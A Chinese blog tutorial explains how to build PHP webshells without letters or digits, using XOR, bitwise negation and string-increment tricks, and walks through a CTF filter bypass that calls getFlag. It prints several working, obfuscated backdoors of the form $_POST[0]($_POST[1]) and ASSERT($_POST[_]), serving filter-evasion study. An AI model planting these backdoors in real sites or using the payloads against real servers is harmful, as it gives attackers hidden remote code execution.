当前位置: 首页 > news >正文

不含数字的webshell绕过

异或操作原理

1.首先我们得了解一下异或操作的原理

在php中,异或操作是两个二进制数相同时,异或(相同)为0,不同为1

举个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是 0110 0000

上下一一对应(相同)为0,不同为1,异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是 ! 了

<?phpecho "A"^"`";
?>

 

 

2.我们要利用的不只是异或操作,还有PHP的特性——弱类型语言

在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理

例如以下案例

简单分析

1.$_  没赋值为null 等价于false等价于0,0++也就是1

就此我们完成了不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。

2.$__ = "?" ^ "}",安装ASCii表的运算结果为B

3.直接B()来执行B函数

 eval解析

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的

<?php
function eval_1($str)
{eval($str);
}$a='eval_1';
$a('phpinfo()');
?> 

绕过方法一:非数字字母的PHP后门

<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

通过异或的方法将非数字和字母的字符转化为需要的字符并通过.=追加拼接,最后形成

$_POST[0]($_POST[1])

我们可以下载一下firefox的hackbar扩展

并输入内容来请求

 输入参数为0=eval&1=phpinfo();通过$_POST[0]($_POST[1])之后

就成为为eval(phpinfo();)

尝试执行,执行失败

这里就可以引入另外一个知识点了,请翻阅上面的eval解析

 

一个异或绕过的例子

题目

<?php
include 'flag.php';
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>40){die("Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}else{highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

该例子过滤掉了数字字母

并且include了一个flag.php文件

 解决方案1——异或

?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag

"^"?<>/"异或完之后是_GET,定义了一个变量_GET

${$_}[_]();最终得到值$_GET[_]();

&_=getFlag 将getFlag赋值给_

最终整个表达式变成

$_GET[_]()——>getFlag()

 

解决方法2——取反

?code=_=~%98%9A%8B%B9%93%9E%98;_();

绕过方法二:取反

对于题目

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {eval($_GET['shell']);
}

异或方法绕过

<?php
$_=(']'^'<').('^'^'-').('^'^'-').('^'^';').('_'^'-').('*'^'~'); // $_='assert';
$__='_'.('|'^',').('`'^'/').('('^'{').('('^'|'); // $__='_POST';
$___=$$__;
$_($___[_]); assert($_POST[_]);

换成取反绕过

<?php
$__=('>'>'<')+('>'>'<'); //2
$_=$__/$__;$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;
$____($_[$__]);

绕过方法三:利用PHP语法绕过

原理

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

 再取这个字符串的第一个字母,就可以获得'A'了。

通过这种方式来获得ASSERT($_POST[_]);

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
ASSERT
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

相关文章:

不含数字的webshell绕过

异或操作原理 1.首先我们得了解一下异或操作的原理 在php中&#xff0c;异或操作是两个二进制数相同时&#xff0c;异或(相同)为0&#xff0c;不同为1 举个例子 A的ASCII值是65&#xff0c;对应的二进制值是0100 0001 的ASCII值是96&#xff0c;对应的二进制值是 0110 000…...

Mac上传项目源代码到GitHub的修改更新

Mac上传项目源代码到GitHub的修改更新 最近在学习把代码上传到github&#xff0c;不得不说&#xff0c;真的还挺方便 这是一个关于怎样更新项目代码的教程。 首先&#xff0c;在本地终端命令行打开至项目文件下第一步&#xff1a;查看当前的git仓库状态&#xff0c;可以使用git…...

Android6:片段和导航

创建项目Secret Message strings.xml <resources><string name"app_name">Secret Message</string><string name"welcome_text">Welcome to the Secret Message app!Use this app to encrypt a secret message.Click on the Star…...

ClickHouse AST is too big 报错问题处理记录

ClickHouse AST is too big 报错问题处理记录 问题描述问题分析解决方案1、修改系统配置2、修改业务逻辑 问题描述 项目中统计报表的查询出现 AST is too big 问题&#xff0c;报错信息如下&#xff1a; 问题分析 报错信息显示 AST is too big。 AST 表示查询语法树中的最大…...

DPDK系列之二十七DIDO

一、DIDO介绍 随着计算机技术发展&#xff0c;特别是应用技术的快速发展。应用场景对计算机的处理速度几乎已经到了疯狂的地步。说句大白话&#xff0c;再快的CPU也嫌慢。没办法&#xff0c;CPU和IO等技术基本目前都处在了瓶颈之处&#xff0c;大幅度提高&#xff0c;短时间内…...

《游戏编程模式》学习笔记(七)状态模式 State Pattern

状态模式的定义 允许对象在当内部状态改变时改变其行为&#xff0c;就好像此对象改变了自己的类一样。 举个例子 在书的示例里要求你写一个人物控制器&#xff0c;实现跳跃功能 直觉上来说&#xff0c;我们代码会这么写&#xff1a; void Heroine::handleInput(Input input…...

博客系统之功能测试

博客系统共有&#xff1a;用户登录功能、发布博客功能、查看文章详情功能、查看文章列表功能、删除文章功能、退出功能 1.登录功能&#xff1a; 1.1测试对象&#xff1a;用户登录 1.2测试用例 方法&#xff1a;判定表 用例 编号 操作步骤预期结果实际结果截图1 1.用户名正确…...

CJS和 ES6 的语法区别

CommonJS 使用 module.exports 导出模块。ES6 使用 export 导出模块。 示例代码&#xff1a; CommonJS&#xff08;CJS&#xff09;模块的导出&#xff1a; // 导出模块 module.exports {foo: bar,baz: function() {return qux;} }; ES6 模块的导出&#xff1a; // 导出模…...

ArcGIS Pro如何制作不规则形状图例

在默认的情况下&#xff0c;ArcGIS Pro生成的图例是标准的点、直线和矩形的&#xff0c;对于湖泊等要素而言&#xff0c;这样的表示方式不够直观&#xff0c;我们可以将其优化一下&#xff0c;制作不规则的线和面来代替原有图例&#xff0c;这里为大家介绍一下制作方法&#xf…...

微软Win11 Dev预览版Build23526发布

近日&#xff0c;微软Win11 Dev预览版Build23526发布&#xff0c;修复了不少问题。牛比如斯Microsoft&#xff0c;也有这么多bug&#xff0c;所以你写再多bug也不作为奇啊。 主要更新问题 [开始菜单&#xff3d; 修复了在高对比度主题下&#xff0c;打开开始菜单中的“所有应…...

【NEW】视频云存储EasyCVR平台H.265转码配置增加分辨率设置

关于视频分析EasyCVR视频汇聚平台的转码功能&#xff0c;我们在此前的文章中也介绍过不少&#xff0c;感兴趣的用户可以翻阅往期的文章进行了解。 安防视频集中存储EasyCVR视频监控综合管理平台可以根据不同的场景需求&#xff0c;让平台在内网、专网、VPN、广域网、互联网等各…...

【数据结构】如何用队列实现栈?图文详解(LeetCode)

LeetCode链接&#xff1a;225. 用队列实现栈 - 力扣&#xff08;LeetCode&#xff09; 本文默认读者已经掌握栈与队列的基本知识 或者先看我的另一篇博客&#xff1a;【数据结构】栈与队列_字节连结的博客-CSDN博客 做题思路 由于我们使用的是C语言&#xff0c;不能直接使用队…...

Linux 虚拟机Ubuntu22.04版本通过远程连接连接不上,输入ifconfig只能看到127.0.0.1的解决办法

之前给虚拟机配置静态IP之后&#xff0c;可以直接通过主机Vscode远程连接。但是前一段时间把主机的TCP/IPV4静态IP设置了一下之后&#xff0c;再连接虚拟机就连不上了&#xff0c;于是参考解决虚拟机不能上网ifconfig只显示127.0.0.1的问题&#xff0c;又可以连接上了&#xff…...

C语言刷题训练DAY.9

1.线段图案 解题思路&#xff1a; 这里非常简单&#xff0c;我们只需要用一个循环控制打印即可。 解题代码&#xff1a; #include<stdio.h> int main() {int n 0;while ((scanf("%d", &n)) ! EOF){int i 0;for (i 0; i < n; i){printf("*&…...

CTFHub php://input

1.首先看代码&#xff1a; 这里其实就应该想到的是php://伪协议&#xff1a; php://filter、php://input、php://filter用于读取源码 php://input用于执行php代码 2.其次&#xff0c;判断使用php://input伪协议 而执行php://input伪协议条件是allow_url_include是On 可以先利用…...

React Native expo项目修改应用程序名称

https://expo.dev/accounts/xutongbao/projects npm install --global eas-cli && \eas init --id e32cf2c0-da5b-4a65-814a-4958d58f0ca7 eas init --id e32cf2c0-da5b-4a65-814a-4958d58f0ca7 app.config.js: export default {name: 学习,slug: learn-gpt,owner: x…...

unity 之Transform组件(汇总)

文章目录 理论指导结合例子 理论指导 当在Unity中处理3D场景中的游戏对象时&#xff0c;Transform 组件是至关重要的组件之一。它管理了游戏对象的位置、旋转和缩放&#xff0c;并提供了许多方法来操纵和操作这些属性。以下是关于Transform 组件的详细介绍&#xff1a; 位置&a…...

基于Opencv的虚拟拖拽项目

预备知识 勾股定理 跟随移动算法 手势识别图解 项目源代码 """ 演示一个简单的虚拟拖拽 步骤&#xff1a; 1、opencv 读取视频流 2、在视频图像上画一个方块 3、通过mediapipe库获取手指关节坐标 4、判断手指是否在方块上 5、是&#xff0c;方块跟着移动 6、…...

基于单片机DHT11温湿度NRF2401无线通信控制系统

一、系统方案 本设计采用STC89C5单片机作为主控制器&#xff0c;从机采用DHT11传感器采集温湿度、按键设置报警阀值&#xff0c;液晶1602显示&#xff0c;蜂鸣器报警&#xff0c;无线NRF2401模块。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统…...

AutoSAR配置与实践(基础篇)2.5 RTE对数据一致性的管理

传送门 点击返回 ->AUTOSAR配置与实践总目录 AutoSAR配置与实践&#xff08;基础篇&#xff09;2.5 RTE对数据一致性的管理 一、 数据一致性问题引入二、 数据一致性的管理2.1 RTE管理 (SWC间)2.2 中断保护 (SWC内)2.3 变量保护IRVS (SWC内)2.4 Task分配2.5 任务抢占控制 一…...

Java多线程实现之Thread类深度解析

Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理)

上一章用到了V2 的概念&#xff0c;其实 Fiori当中还有 V4&#xff0c;咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务)&#xff0c;代理中间件&#xff08;ui5-middleware-simpleproxy&#xff09;-CSDN博客…...

HashMap中的put方法执行流程(流程图)

1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中&#xff0c;其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下&#xff1a; 初始判断与哈希计算&#xff1a; 首先&#xff0c;putVal 方法会检查当前的 table&#xff08;也就…...

使用Spring AI和MCP协议构建图片搜索服务

目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式&#xff08;本地调用&#xff09; SSE模式&#xff08;远程调用&#xff09; 4. 注册工具提…...

Go 并发编程基础:通道(Channel)的使用

在 Go 中&#xff0c;Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式&#xff0c;用于在多个 Goroutine 之间传递数据&#xff0c;从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

多模态图像修复系统:基于深度学习的图片修复实现

多模态图像修复系统:基于深度学习的图片修复实现 1. 系统概述 本系统使用多模态大模型(Stable Diffusion Inpainting)实现图像修复功能,结合文本描述和图片输入,对指定区域进行内容修复。系统包含完整的数据处理、模型训练、推理部署流程。 import torch import numpy …...

SQL Server 触发器调用存储过程实现发送 HTTP 请求

文章目录 需求分析解决第 1 步:前置条件,启用 OLE 自动化方式 1:使用 SQL 实现启用 OLE 自动化方式 2:Sql Server 2005启动OLE自动化方式 3:Sql Server 2008启动OLE自动化第 2 步:创建存储过程第 3 步:创建触发器扩展 - 如何调试?第 1 步:登录 SQL Server 2008第 2 步…...

Qt Quick Controls模块功能及架构

Qt Quick Controls是Qt Quick的一个附加模块&#xff0c;提供了一套用于构建完整用户界面的UI控件。在Qt 6.0中&#xff0c;这个模块经历了重大重构和改进。 一、主要功能和特点 1. 架构重构 完全重写了底层架构&#xff0c;与Qt Quick更紧密集成 移除了对Qt Widgets的依赖&…...

JUC并发编程(二)Monitor/自旋/轻量级/锁膨胀/wait/notify/锁消除

目录 一 基础 1 概念 2 卖票问题 3 转账问题 二 锁机制与优化策略 0 Monitor 1 轻量级锁 2 锁膨胀 3 自旋 4 偏向锁 5 锁消除 6 wait /notify 7 sleep与wait的对比 8 join原理 一 基础 1 概念 临界区 一段代码块内如果存在对共享资源的多线程读写操作&#xf…...

Java + Spring Boot + Mybatis 插入数据后,获取自增 id 的方法

在 MyBatis 中使用 useGeneratedKeys"true" 获取新插入记录的自增 ID 值&#xff0c;可通过以下步骤实现&#xff1a; 1. 配置 Mapper XML 在插入语句的 <insert> 标签中设置&#xff1a; xml 复制 下载 运行 <insert id"insertUser" para…...